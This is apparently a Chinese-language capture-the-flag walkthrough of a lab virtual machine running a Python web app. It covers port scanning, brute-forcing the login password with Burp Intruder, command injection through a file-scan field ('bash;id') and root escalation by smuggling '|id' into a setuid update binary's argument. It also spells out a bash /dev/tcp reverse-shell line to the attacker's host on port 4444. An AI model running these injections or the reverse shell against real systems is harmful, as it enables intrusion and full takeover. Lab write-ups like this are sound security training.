前言:
做这个靶机隔了很长时间,因为在搞毕业设计以及找工作,现在只能说论文告一段落,只剩答辩和ppt了,就接着把这个做完,下载地址也不想找了,总体而言该靶机比较简单。最后,求答辩老师放过我吧。
Kali:192.168.1.4
目标机:192.168.1.31
信息收集:
漏洞挖掘:
从信息来看,开放ssh和网站端口,并且该网站是Python写的。可以爆破22端口,一般来说还是从网站下手,在我看来爆破密码依然是最后手段。先访问8080端口。
一般这个界面没有思路的话就是看看页面源码有没有提示,或者再爆破一下文件。对于这个直接输入东西后,点击login显示错误信息。猜测是sql注入,但是一直没有什么思路,先尝试爆破一下目录。
访问过后还是没有什么收获,只是发现一个控制台,但是需要pin值,而这个pin值怎么获得也没有思路。难道要直接爆破,使用bp,截取包,发送到intruder,简单配置后爆破密码。获取密码为password。
输入password后,发现了很多文件:
页面也出现了变化,可以选择以上文件进行扫描。扫来扫去,没啥用途,文件爆破出现一个命令执行控制台,但是需要pin值,也不知道是啥。在扫描窗口会不会有个命令执行漏洞呢,可以试一试。输入“bash;id”,查看输出结果。
确实存在命令执行漏洞,既然存在这么个漏洞,接下来就可以反弹shell了,过程就不详述,输入bash;bash -i >& /dev/tcp/192.168.1.4/4444 0>&1,我使用这个没办法反弹,之后只能使用nc反弹,也失败了。思来想去突然想到使用echo试试。
确实把该命令输出了出来,并且没有过滤,既然输出出来之后,执行就很简单了,只要使用管道符,然后使用bash执行就行。
根据之前的id,非root权限,接下来就进行提权。
提权:
使用ls -al后,发现一个带“s”的文件,并且可执行,从文件名看,是可以用来提权的。
执行该文件。
提示说这个文件可以用来更新规则,请补充命令行参数。这时看到一个c文件,我们可以读取一下,审计一下代码。使用cat命令,我也不知道为啥不能用more,我个人喜欢用more,当内容特别多的时候用more就很方便。
从代码中可以看出,至少要一个参数,也可以看出执行命令的时候是赋予了最高权限的(setgid(0),setuid(0)),至于赋予什么命令我不知道,可以先瞎写一个,看它输出,这里就不放图了。但是就算执行了,也没有提权啊。在执行命令这一段上会不会有什么问题,可以执行多个命令呢,我能执行这文件,那么我的权限就到了root,可不可以用执行这个的同时,在执行其他命令呢?我注意到sprintf函数,百度了一下,是把freshclam放进command里,那么可以使用管道符或者分号进行执行其他命令。于是我写入./update_cloudav --help|id。但是一直,没反应。后来才知道原来差了个引号,改为./update_cloudav “--help|id”。
发现是root,那么接下来就可以去获取flag了(然而/root下没有flag)。